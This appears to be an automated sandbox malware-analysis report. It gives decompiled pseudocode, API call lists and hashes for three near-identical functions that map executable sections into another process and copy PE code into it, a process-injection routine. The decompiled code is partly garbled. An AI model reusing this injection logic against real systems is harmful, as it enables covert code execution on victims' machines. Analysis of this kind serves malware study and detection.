0x0040173c
0x0040173e
0x00401742
0x00401743
0x00401749
0x00401753
0x00401753
0x0040174b
0x0040174b
0x0040174b
0x00401759
0x0040175a
0x0040175f
0x0040176d
0x0040176d
0x0040176d
0x00401773
0x00401775
0x00401776
0x0040177a
0x004017e2
0x004017e6
0x004017f1
0x004017f1
0x004017f4
0x004017f4
0x004017f7
0x00000000
0x00000000
0x004017f9
0x00401803
0x00401808
0x0040180a
0x0040180f
0x0040181b
0x0040181b
0x0040181b
0x0040181d
0x0040181d
0x00401821
0x00401828
0x00401828
0x0040182a
0x0040182d
0x0040183d
0x0040177c
0x0040177c
0x00401781
0x00401782
0x00401798
0x004017a7
0x004017b4
0x004017cb
0x004017d6
0x004017d9
0x004017d9
0x0040177a
0x00401685
0x00401663
0x00401632
0x00401569
0x00401859
0x0040185e
0x00401861
0x00401872
0x00401877
0x0040188d

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004015CE
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015EC
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040162D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 0040165E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401680

Memory Dump Source

Source File: 00000000.00000002.339575302.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 9918b791cbb1f0ff44df8d0300a116fe7034d9304c3fa806413ff11951633f60
Instruction ID: 3d44a7bbcb2d413b89cc6d66608d23a65ef9d07510e7ee37a771aa04e1e65fe6
Opcode Fuzzy Hash: 9918b791cbb1f0ff44df8d0300a116fe7034d9304c3fa806413ff11951633f60
Instruction Fuzzy Hash: FE5129B5900255BFEB219F91CC48FAFBBB8FF85B00F104159F911AA2A5D6709A41CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004014ED Relevance: 10.7, APIs: 7, Instructions: 170
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E004014ED(void* __eax, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t87;
				intOrPtr _t90;
				void* _t93;
				signed int _t94;
				struct _GUID _t101;
				struct _GUID _t103;
				PVOID* _t105;
				PVOID* _t107;
				signed int _t109;
				intOrPtr* _t111;
				PVOID* _t124;
				PVOID* _t126;
				intOrPtr _t130;
				void* _t134;
				signed int _t135;
				void** _t136;
				signed int _t143;
				int _t144;
				signed int _t161;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				signed int _t165;
				void* _t166;
				intOrPtr* _t167;
				long _t176;
				intOrPtr _t178;
				void* _t179;
				HANDLE* _t185;
				HANDLE* _t187;
				void* _t192;
				intOrPtr* _t195;
				void* _t198;
				void* _t199;
				intOrPtr* _t201;
				signed int* _t202;
				signed int* _t203;
				signed int* _t206;
				signed int* _t207;
				long _t222;

				_t227 = __fp0;
				_t160 = __edx;
				_push(0x150b);
				_t87 =  *_t201;
				_t202 = _t201 + 4;
				_t134 = 0x37e;
				E004011BB(_t87, _t134, __edx, __edi, __esi, __eflags, __fp0);
				_t130 =  *((intOrPtr*)(_t199 + 8));
				_t176 = 0;
				 *((intOrPtr*)(_t199 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t199 - 0x34)) =  *((intOrPtr*)(_t199 - 0x34)) + 1;
				}
				while(1) {
					_t90 =  *((intOrPtr*)(_t130 + 0x48))();
					if(_t90 != 0) {
						break;
					}
					 *((intOrPtr*)(_t130 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t199 - 0x5c)) = _t90;
				_t185 = _t199 - 0x60;
				 *_t185 = _t176;
				 *((intOrPtr*)(_t130 + 0x4c))(_t90, _t185);
				_t93 =  *_t185;
				if(_t93 != 0) {
					_t136 = _t199 - 0x30;
					 *_t136 = _t93;
					_t136[1] = _t176;
					_t185 = _t199 - 0x28;
					 *((intOrPtr*)(_t130 + 0x10))(_t185, 0x18);
					 *_t185 = 0x18;
					_t160 = _t185;
					_push(_t199 - 0x30);
					_push(_t185);
					_push(0x40);
					_push(_t199 - 0x10);
					if( *((intOrPtr*)(_t130 + 0x70))() == 0 && NtDuplicateObject( *(_t199 - 0x10), 0xffffffff, 0xffffffff, _t199 - 0xc, _t176, _t176, 2) == 0) {
						 *(_t199 - 8) = _t176;
						_t101 = _t199 - 0x50;
						 *(_t101 + 4) = _t176;
						 *_t101 = 0x5000;
						_t187 = _t199 - 0x54;
						if(NtCreateSection(_t187, 6, _t176, _t101, 4, 0x8000000, _t176) == 0) {
							 *_t26 =  *(_t199 - 0x50);
							_t124 = _t199 - 0x44;
							 *_t124 = _t176;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t124, _t176, _t176, _t176, _t199 - 0x38, 1, _t176, 4) == 0) {
								_t126 = _t199 - 0x3c;
								 *_t126 = _t176;
								if(NtMapViewOfSection( *_t187,  *(_t199 - 0xc), _t126, _t176, _t176, _t176, _t199 - 0x38, 1, _t176, 4) == 0) {
									_t198 =  *(_t199 - 0x44);
									 *((intOrPtr*)(_t130 + 0x20))(_t176, _t198, 0x104);
									 *((intOrPtr*)(_t198 + 0x208)) =  *((intOrPtr*)(_t199 + 0x14));
									 *(_t199 - 8) =  *(_t199 - 8) + 1;
								}
							}
						}
						_t103 = _t199 - 0x50;
						 *(_t103 + 4) = _t176;
						 *_t103 =  *((intOrPtr*)(_t199 + 0x10)) + 0x10000;
						_t185 = _t199 - 0x58;
						if(NtCreateSection(_t185, 0xe, _t176, _t103, 0x40, 0x8000000, _t176) == 0 &&  *(_t199 - 8) != 0) {
							 *_t47 =  *(_t199 - 0x50);
							_t105 = _t199 - 0x48;
							 *_t105 = _t176;
							if(NtMapViewOfSection( *_t185, 0xffffffff, _t105, _t176, _t176, _t176, _t199 - 0x38, 1, _t176, 4) == 0) {
								_t107 = _t199 - 0x40;
								 *_t107 = _t176;
								_t222 = NtMapViewOfSection( *_t185,  *(_t199 - 0xc), _t107, _t176, _t176, _t176, _t199 - 0x38, 1, _t176, 0x20);
								if(_t222 == 0) {
									L21();
									if(_t222 == 0 && _t222 != 0) {
										asm("in eax, 0x4a");
									}
									_push(0x2260);
									_t161 =  *_t202;
									_t206 =  &(_t202[1]);
									_push(_t161);
									_t109 =  *_t206;
									_t207 =  &(_t206[1]);
									_t162 = _t161 << 5;
									_t163 = _t162 + _t109;
									asm("lodsb");
									_t164 = _t163;
									asm("loop 0xffffffc3");
									_t165 = _t164 ^ 0xc66a5524;
									_t202 = _t207 - _t165;
									_t192 =  *((intOrPtr*)(_t199 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t199 + 0xc))));
									_t143 =  *(_t192 + 6) & 0x0000ffff;
									_push(_t192);
									_t166 = _t192;
									if( *((intOrPtr*)(_t199 - 0x34)) == 0) {
										_t167 = _t166 + 0xf8;
										__eflags = _t167;
									} else {
										_t167 = _t166 + 0x108;
									}
									_push(_t143);
									_t144 =  *(_t167 + 0x10);
									if(_t144 != 0) {
										memcpy( *((intOrPtr*)(_t167 + 0xc)) +  *(_t199 - 0x48),  *((intOrPtr*)(_t167 + 0x14)) +  *((intOrPtr*)(_t199 + 0xc)), _t144);
										_t202 =  &(_t202[3]);
									}
									asm("loop 0xffffffe6");
									_pop(_t185);
									_t226 =  *((intOrPtr*)(_t199 - 0x34));
									if( *((intOrPtr*)(_t199 - 0x34)) == 0) {
										_push(_t185);
										_t160 = _t185[0xd] -  *(_t199 - 0x40);
										_t195 = _t185[0x28] +  *(_t199 - 0x48);
										__eflags = _t195;
										while(1) {
											__eflags =  *_t195;
											if( *_t195 == 0) {
												break;
											}
											_t178 =  *_t195;
											_t195 = _t195 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *((intOrPtr*)(0)) =  *((intOrPtr*)(0)) - _t160;
												__eflags =  *((intOrPtr*)(0 +  *(_t199 - 0x48) + _t178));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t185);
										_t176 = 0;
										__eflags = 0;
										_t111 = _t199 - 4;
										 *_t111 = 0;
										 *((intOrPtr*)(_t130 + 0x98))( *(_t199 - 0xc), 0, 0, 0, 0, 0, _t185[0xa] +  *(_t199 - 0x40),  *(_t199 - 0x3c), _t111, 0);
									} else {
										L54();
										_pop(_t179);
										_t176 = _t179 - 0x1781;
										 *((intOrPtr*)(_t176 + 0x17b5)) = _t176 + 0x2c1d;
										E00401256(_t130, _t176 + 0x17b5, _t176, _t185, _t226, _t176 + 0x2c1d, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t176 + 0x17da)) = _t176 + 0x2c6d;
										_t160 =  *(_t199 - 0xc);
										0x33();
									}
								}
							}
						}
					}
				}
				_push(0x150b);
				_t94 =  *_t202;
				_t203 =  &(_t202[1]);
				_push(0x37e);
				_t135 =  *_t203;
				return E004011BB(_t94, _t135, _t160, _t176, _t185, _t226, _t227);
			}

0x004014ed
0x004014ed
0x004014df
0x004014e4
0x004014e7
0x004014fe
0x00401506
0x0040150b
0x0040150e
0x00401510
0x00401519
0x0040151b
0x0040151b
0x0040151e
0x0040151e
0x00401523
0x00000000
0x00000000
0x0040184a
0x0040184a
0x00401529
0x0040152c
0x0040152f
0x00401533
0x00401536
0x0040153a
0x00401540
0x00401543
0x00401545
0x00401548
0x0040154e
0x00401551
0x00401557
0x0040155f
0x00401560
0x00401561
0x00401563
0x00401569
0x0040158c
0x0040158f
0x00401592
0x00401595
0x0040159b
0x004015b0
0x004015b5
0x004015b8
0x004015bb
0x004015d3
0x004015d5
0x004015d8
0x004015f1
0x004015f3
0x004015fd
0x00401603
0x00401609
0x00401609
0x004015f1
0x004015d3
0x0040160c
0x00401618
0x0040161b
0x0040161d
0x00401632
0x00401645
0x00401648
0x0040164b
0x00401663
0x00401669
0x0040166c
0x00401683
0x00401685
0x0040168b
0x00401690
0x00401694
0x00401694
0x004016cf
0x004016d4
0x004016d7
0x004016e7
0x004016e8
0x004016eb
0x004016f8
0x00401702
0x00401711
0x00401719
0x0040171e
0x00401727
0x00401730
0x0040173c
0x0040173e
0x00401742
0x00401743
0x00401749
0x00401753
0x00401753
0x0040174b
0x0040174b
0x0040174b
0x00401759
0x0040175a
0x0040175f
0x0040176d
0x0040176d
0x0040176d
0x00401773
0x00401775
0x00401776
0x0040177a
0x004017e2
0x004017e6
0x004017f1
0x004017f1
0x004017f4
0x004017f4
0x004017f7
0x00000000
0x00000000
0x004017f9
0x00401803
0x00401808
0x0040180a
0x0040180f
0x0040181b
0x0040181b
0x0040181b
0x0040181d
0x0040181d
0x00401821
0x00401828
0x00401828
0x0040182a
0x0040182d
0x0040183d
0x0040177c
0x0040177c
0x00401781
0x00401782
0x00401798
0x004017a7
0x004017b4
0x004017cb
0x004017d6
0x004017d9
0x004017d9
0x0040177a
0x00401685
0x00401663
0x00401632
0x00401569
0x00401859
0x0040185e
0x00401861
0x00401872
0x00401877
0x0040188d

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004015CE
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015EC
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040162D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 0040165E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401680

Memory Dump Source

Source File: 00000000.00000002.339575302.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: f7fdfd08fcb8eed158454bdf17d9c406f3432810bc7538c0baa4c61a2813e87b
Instruction ID: 56051b854cc78bb7cf401cc86fa9e38e91d39254f0b1df9b0b50e8092bc8a5cc
Opcode Fuzzy Hash: f7fdfd08fcb8eed158454bdf17d9c406f3432810bc7538c0baa4c61a2813e87b
Instruction Fuzzy Hash: 985119B5900255BFEB219F91CC48FAB7BB8FF85B00F104169F911AA2E5D6749A41CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004014F0 Relevance: 10.7, APIs: 7, Instructions: 165
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E004014F0(void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t84;
				intOrPtr _t87;
				void* _t90;
				signed int _t91;
				struct _GUID _t98;
				struct _GUID _t100;
				PVOID* _t102;
				PVOID* _t104;
				signed int _t106;
				intOrPtr* _t108;
				PVOID* _t121;
				PVOID* _t123;
				intOrPtr _t127;
				void* _t129;
				signed int _t130;
				void** _t131;
				signed int _t138;
				int _t139;
				signed int _t156;
				signed int _t157;
				signed int _t158;
				signed int _t159;
				signed int _t160;
				void* _t161;
				intOrPtr* _t162;
				long _t171;
				intOrPtr _t173;
				void* _t174;
				HANDLE* _t180;
				HANDLE* _t182;
				void* _t187;
				intOrPtr* _t190;
				void* _t193;
				void* _t194;
				signed int* _t196;
				signed int* _t197;
				signed int* _t200;
				signed int* _t201;
				long _t216;

				_t221 = __fp0;
				_t155 = __edx;
				asm("out dx, eax");
				_t129 = 0x37e;
				E004011BB(_t84, _t129, __edx, __edi, __esi, __eflags, __fp0);
				_t127 =  *((intOrPtr*)(_t194 + 8));
				_t171 = 0;
				 *((intOrPtr*)(_t194 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t194 - 0x34)) =  *((intOrPtr*)(_t194 - 0x34)) + 1;
				}
				while(1) {
					_t87 =  *((intOrPtr*)(_t127 + 0x48))();
					if(_t87 != 0) {
						break;
					}
					 *((intOrPtr*)(_t127 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t194 - 0x5c)) = _t87;
				_t180 = _t194 - 0x60;
				 *_t180 = _t171;
				 *((intOrPtr*)(_t127 + 0x4c))(_t87, _t180);
				_t90 =  *_t180;
				if(_t90 != 0) {
					_t131 = _t194 - 0x30;
					 *_t131 = _t90;
					_t131[1] = _t171;
					_t180 = _t194 - 0x28;
					 *((intOrPtr*)(_t127 + 0x10))(_t180, 0x18);
					 *_t180 = 0x18;
					_t155 = _t180;
					_push(_t194 - 0x30);
					_push(_t180);
					_push(0x40);
					_push(_t194 - 0x10);
					if( *((intOrPtr*)(_t127 + 0x70))() == 0 && NtDuplicateObject( *(_t194 - 0x10), 0xffffffff, 0xffffffff, _t194 - 0xc, _t171, _t171, 2) == 0) {
						 *(_t194 - 8) = _t171;
						_t98 = _t194 - 0x50;
						 *(_t98 + 4) = _t171;
						 *_t98 = 0x5000;
						_t182 = _t194 - 0x54;
						if(NtCreateSection(_t182, 6, _t171, _t98, 4, 0x8000000, _t171) == 0) {
							 *_t25 =  *(_t194 - 0x50);
							_t121 = _t194 - 0x44;
							 *_t121 = _t171;
							if(NtMapViewOfSection( *_t182, 0xffffffff, _t121, _t171, _t171, _t171, _t194 - 0x38, 1, _t171, 4) == 0) {
								_t123 = _t194 - 0x3c;
								 *_t123 = _t171;
								if(NtMapViewOfSection( *_t182,  *(_t194 - 0xc), _t123, _t171, _t171, _t171, _t194 - 0x38, 1, _t171, 4) == 0) {
									_t193 =  *(_t194 - 0x44);
									 *((intOrPtr*)(_t127 + 0x20))(_t171, _t193, 0x104);
									 *((intOrPtr*)(_t193 + 0x208)) =  *((intOrPtr*)(_t194 + 0x14));
									 *(_t194 - 8) =  *(_t194 - 8) + 1;
								}
							}
						}
						_t100 = _t194 - 0x50;
						 *(_t100 + 4) = _t171;
						 *_t100 =  *((intOrPtr*)(_t194 + 0x10)) + 0x10000;
						_t180 = _t194 - 0x58;
						if(NtCreateSection(_t180, 0xe, _t171, _t100, 0x40, 0x8000000, _t171) == 0 &&  *(_t194 - 8) != 0) {
							 *_t46 =  *(_t194 - 0x50);
							_t102 = _t194 - 0x48;
							 *_t102 = _t171;
							if(NtMapViewOfSection( *_t180, 0xffffffff, _t102, _t171, _t171, _t171, _t194 - 0x38, 1, _t171, 4) == 0) {
								_t104 = _t194 - 0x40;
								 *_t104 = _t171;
								_t216 = NtMapViewOfSection( *_t180,  *(_t194 - 0xc), _t104, _t171, _t171, _t171, _t194 - 0x38, 1, _t171, 0x20);
								if(_t216 == 0) {
									L19();
									if(_t216 == 0 && _t216 != 0) {
										asm("in eax, 0x4a");
									}
									_push(0x2260);
									_t156 =  *_t196;
									_t200 =  &(_t196[1]);
									_push(_t156);
									_t106 =  *_t200;
									_t201 =  &(_t200[1]);
									_t157 = _t156 << 5;
									_t158 = _t157 + _t106;
									asm("lodsb");
									_t159 = _t158;
									asm("loop 0xffffffc3");
									_t160 = _t159 ^ 0xc66a5524;
									_t196 = _t201 - _t160;
									_t187 =  *((intOrPtr*)(_t194 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t194 + 0xc))));
									_t138 =  *(_t187 + 6) & 0x0000ffff;
									_push(_t187);
									_t161 = _t187;
									if( *((intOrPtr*)(_t194 - 0x34)) == 0) {
										_t162 = _t161 + 0xf8;
										__eflags = _t162;
									} else {
										_t162 = _t161 + 0x108;
									}
									_push(_t138);
									_t139 =  *(_t162 + 0x10);
									if(_t139 != 0) {
										memcpy( *((intOrPtr*)(_t162 + 0xc)) +  *(_t194 - 0x48),  *((intOrPtr*)(_t162 + 0x14)) +  *((intOrPtr*)(_t194 + 0xc)), _t139);
										_t196 =  &(_t196[3]);
									}
									asm("loop 0xffffffe6");
									_pop(_t180);
									_t220 =  *((intOrPtr*)(_t194 - 0x34));
									if( *((intOrPtr*)(_t194 - 0x34)) == 0) {
										_push(_t180);
										_t155 = _t180[0xd] -  *(_t194 - 0x40);
										_t190 = _t180[0x28] +  *(_t194 - 0x48);
										__eflags = _t190;
										while(1) {
											__eflags =  *_t190;
											if( *_t190 == 0) {
												break;
											}
											_t173 =  *_t190;
											_t190 = _t190 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *((intOrPtr*)(0)) =  *((intOrPtr*)(0)) - _t155;
												__eflags =  *((intOrPtr*)(0 +  *(_t194 - 0x48) + _t173));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t180);
										_t171 = 0;
										__eflags = 0;
										_t108 = _t194 - 4;
										 *_t108 = 0;
										 *((intOrPtr*)(_t127 + 0x98))( *(_t194 - 0xc), 0, 0, 0, 0, 0, _t180[0xa] +  *(_t194 - 0x40),  *(_t194 - 0x3c), _t108, 0);
									} else {
										L52();
										_pop(_t174);
										_t171 = _t174 - 0x1781;
										 *((intOrPtr*)(_t171 + 0x17b5)) = _t171 + 0x2c1d;
										E00401256(_t127, _t171 + 0x17b5, _t171, _t180, _t220, _t171 + 0x2c1d, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t171 + 0x17da)) = _t171 + 0x2c6d;
										_t155 =  *(_t194 - 0xc);
										0x33();
									}
								}
							}
						}
					}
				}
				_push(0x150b);
				_t91 =  *_t196;
				_t197 =  &(_t196[1]);
				_push(0x37e);
				_t130 =  *_t197;
				return E004011BB(_t91, _t130, _t155, _t171, _t180, _t220, _t221);
			}

0x004014f0
0x004014f0
0x004014f0
0x004014fe
0x00401506
0x0040150b
0x0040150e
0x00401510
0x00401519
0x0040151b
0x0040151b
0x0040151e
0x0040151e
0x00401523
0x00000000
0x00000000
0x0040184a
0x0040184a
0x00401529
0x0040152c
0x0040152f
0x00401533
0x00401536
0x0040153a
0x00401540
0x00401543
0x00401545
0x00401548
0x0040154e
0x00401551
0x00401557
0x0040155f
0x00401560
0x00401561
0x00401563
0x00401569
0x0040158c
0x0040158f
0x00401592
0x00401595
0x0040159b
0x004015b0
0x004015b5
0x004015b8
0x004015bb
0x004015d3
0x004015d5
0x004015d8
0x004015f1
0x004015f3
0x004015fd
0x00401603
0x00401609
0x00401609
0x004015f1
0x004015d3
0x0040160c
0x00401618
0x0040161b
0x0040161d
0x00401632
0x00401645
0x00401648
0x0040164b
0x00401663
0x00401669
0x0040166c
0x00401683
0x00401685
0x0040168b
0x00401690
0x00401694
0x00401694
0x004016cf
0x004016d4
0x004016d7
0x004016e7
0x004016e8
0x004016eb
0x004016f8
0x00401702
0x00401711
0x00401719
0x0040171e
0x00401727
0x00401730
0x0040173c
0x0040173e
0x00401742
0x00401743
0x00401749
0x00401753
0x00401753
0x0040174b
0x0040174b
0x0040174b
0x00401759
0x0040175a
0x0040175f
0x0040176d
0x0040176d
0x0040176d
0x00401773
0x00401775
0x00401776
0x0040177a
0x004017e2
0x004017e6
0x004017f1
0x004017f1
0x004017f4
0x004017f4
0x004017f7
0x00000000
0x00000000
0x004017f9
0x00401803
0x00401808
0x0040180a
0x0040180f
0x0040181b
0x0040181b
0x0040181b
0x0040181d
0x0040181d
0x00401821
0x00401828
0x00401828
0x0040182a
0x0040182d
0x0040183d
0x0040177c
0x0040177c
0x00401781
0x00401782
0x00401798
0x004017a7
0x004017b4
0x004017cb
0x004017d6
0x004017d9
0x004017d9
0x0040177a
0x00401685
0x00401663
0x00401632
0x00401569
0x00401859
0x0040185e
0x00401861
0x00401872
0x00401877
0x0040188d

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004015CE
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015EC
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040162D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 0040165E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401680

Memory Dump Source

Source File: 00000000.00000002.339575302.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 42ad22074bad18142d7be35822f8386c67ed3ecdea3813d17a0e8b73958593c3
Instruction ID: 0e929ec6180768132d2eb4bc3befb4aa6e0e1ce8214f1ba9b47f90b2cd5cc351
Opcode Fuzzy Hash: 42ad22074bad18142d7be35822f8386c67ed3ecdea3813d17a0e8b73958593c3
Instruction Fuzzy Hash: 9B5108B5900255BFEF219F91CC48FAFBBB8FF85B10F104159FA11BA2A5D6709A41CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004014F4 Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E004014F4(void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t87;
				void* _t90;
				signed int _t91;
				struct _GUID _t98;
				struct _GUID _t100;
				PVOID* _t102;
				PVOID* _t104;
				signed int _t106;
				intOrPtr* _t108;
				PVOID* _t121;
				PVOID* _t123;
				intOrPtr _t127;
				void* _t130;
				signed int _t131;
				void** _t132;
				signed int _t139;
				int _t140;
				signed int _t157;
				signed int _t158;
				signed int _t159;
				signed int _t160;
				signed int _t161;
				void* _t162;
				intOrPtr* _t163;
				long _t172;
				intOrPtr _t174;
				void* _t175;
				HANDLE* _t181;
				HANDLE* _t183;
				void* _t188;
				intOrPtr* _t191;
				void* _t194;
				void* _t195;
				signed int* _t197;
				signed int* _t198;
				signed int* _t201;
				signed int* _t202;
				long _t217;

				_t222 = __fp0;
				_t156 = __edx;
				asm("aam 0x4a");
				_t130 = 0x37e;
				E004011BB(__ecx, _t130, __edx, __edi, __esi, __eflags, __fp0);
				_t127 =  *((intOrPtr*)(_t195 + 8));
				_t172 = 0;
				 *((intOrPtr*)(_t195 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t195 - 0x34)) =  *((intOrPtr*)(_t195 - 0x34)) + 1;
				}
				while(1) {
					_t87 =  *((intOrPtr*)(_t127 + 0x48))();
					if(_t87 != 0) {
						break;
					}
					 *((intOrPtr*)(_t127 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t195 - 0x5c)) = _t87;
				_t181 = _t195 - 0x60;
				 *_t181 = _t172;
				 *((intOrPtr*)(_t127 + 0x4c))(_t87, _t181);
				_t90 =  *_t181;
				if(_t90 != 0) {
					_t132 = _t195 - 0x30;
					 *_t132 = _t90;
					_t132[1] = _t172;
					_t181 = _t195 - 0x28;
					 *((intOrPtr*)(_t127 + 0x10))(_t181, 0x18);
					 *_t181 = 0x18;
					_t156 = _t181;
					_push(_t195 - 0x30);
					_push(_t181);
					_push(0x40);
					_push(_t195 - 0x10);
					if( *((intOrPtr*)(_t127 + 0x70))() == 0 && NtDuplicateObject( *(_t195 - 0x10), 0xffffffff, 0xffffffff, _t195 - 0xc, _t172, _t172, 2) == 0) {
						 *(_t195 - 8) = _t172;
						_t98 = _t195 - 0x50;
						 *(_t98 + 4) = _t172;
						 *_t98 = 0x5000;
						_t183 = _t195 - 0x54;
						if(NtCreateSection(_t183, 6, _t172, _t98, 4, 0x8000000, _t172) == 0) {
							 *_t25 =  *(_t195 - 0x50);
							_t121 = _t195 - 0x44;
							 *_t121 = _t172;
							if(NtMapViewOfSection( *_t183, 0xffffffff, _t121, _t172, _t172, _t172, _t195 - 0x38, 1, _t172, 4) == 0) {
								_t123 = _t195 - 0x3c;
								 *_t123 = _t172;
								if(NtMapViewOfSection( *_t183,  *(_t195 - 0xc), _t123, _t172, _t172, _t172, _t195 - 0x38, 1, _t172, 4) == 0) {
									_t194 =  *(_t195 - 0x44);
									 *((intOrPtr*)(_t127 + 0x20))(_t172, _t194, 0x104);
									 *((intOrPtr*)(_t194 + 0x208)) =  *((intOrPtr*)(_t195 + 0x14));
									 *(_t195 - 8) =  *(_t195 - 8) + 1;
								}
							}
						}
						_t100 = _t195 - 0x50;
						 *(_t100 + 4) = _t172;
						 *_t100 =  *((intOrPtr*)(_t195 + 0x10)) + 0x10000;
						_t181 = _t195 - 0x58;
						if(NtCreateSection(_t181, 0xe, _t172, _t100, 0x40, 0x8000000, _t172) == 0 &&  *(_t195 - 8) != 0) {
							 *_t46 =  *(_t195 - 0x50);
							_t102 = _t195 - 0x48;
							 *_t102 = _t172;
							if(NtMapViewOfSection( *_t181, 0xffffffff, _t102, _t172, _t172, _t172, _t195 - 0x38, 1, _t172, 4) == 0) {
								_t104 = _t195 - 0x40;
								 *_t104 = _t172;
								_t217 = NtMapViewOfSection( *_t181,  *(_t195 - 0xc), _t104, _t172, _t172, _t172, _t195 - 0x38, 1, _t172, 0x20);
								if(_t217 == 0) {
									L17();
									if(_t217 == 0 && _t217 != 0) {
										asm("in eax, 0x4a");
									}
									_push(0x2260);
									_t157 =  *_t197;
									_t201 =  &(_t197[1]);
									_push(_t157);
									_t106 =  *_t201;
									_t202 =  &(_t201[1]);
									_t158 = _t157 << 5;
									_t159 = _t158 + _t106;
									asm("lodsb");
									_t160 = _t159;
									asm("loop 0xffffffc3");
									_t161 = _t160 ^ 0xc66a5524;
									_t197 = _t202 - _t161;
									_t188 =  *((intOrPtr*)(_t195 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t195 + 0xc))));
									_t139 =  *(_t188 + 6) & 0x0000ffff;
									_push(_t188);
									_t162 = _t188;
									if( *((intOrPtr*)(_t195 - 0x34)) == 0) {
										_t163 = _t162 + 0xf8;
										__eflags = _t163;
									} else {
										_t163 = _t162 + 0x108;
									}
									_push(_t139);
									_t140 =  *(_t163 + 0x10);
									if(_t140 != 0) {
										memcpy( *((intOrPtr*)(_t163 + 0xc)) +  *(_t195 - 0x48),  *((intOrPtr*)(_t163 + 0x14)) +  *((intOrPtr*)(_t195 + 0xc)), _t140);
										_t197 =  &(_t197[3]);
									}
									asm("loop 0xffffffe6");
									_pop(_t181);
									_t221 =  *((intOrPtr*)(_t195 - 0x34));
									if( *((intOrPtr*)(_t195 - 0x34)) == 0) {
										_push(_t181);
										_t156 = _t181[0xd] -  *(_t195 - 0x40);
										_t191 = _t181[0x28] +  *(_t195 - 0x48);
										__eflags = _t191;
										while(1) {
											__eflags =  *_t191;
											if( *_t191 == 0) {
												break;
											}
											_t174 =  *_t191;
											_t191 = _t191 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *((intOrPtr*)(0)) =  *((intOrPtr*)(0)) - _t156;
												__eflags =  *((intOrPtr*)(0 +  *(_t195 - 0x48) + _t174));
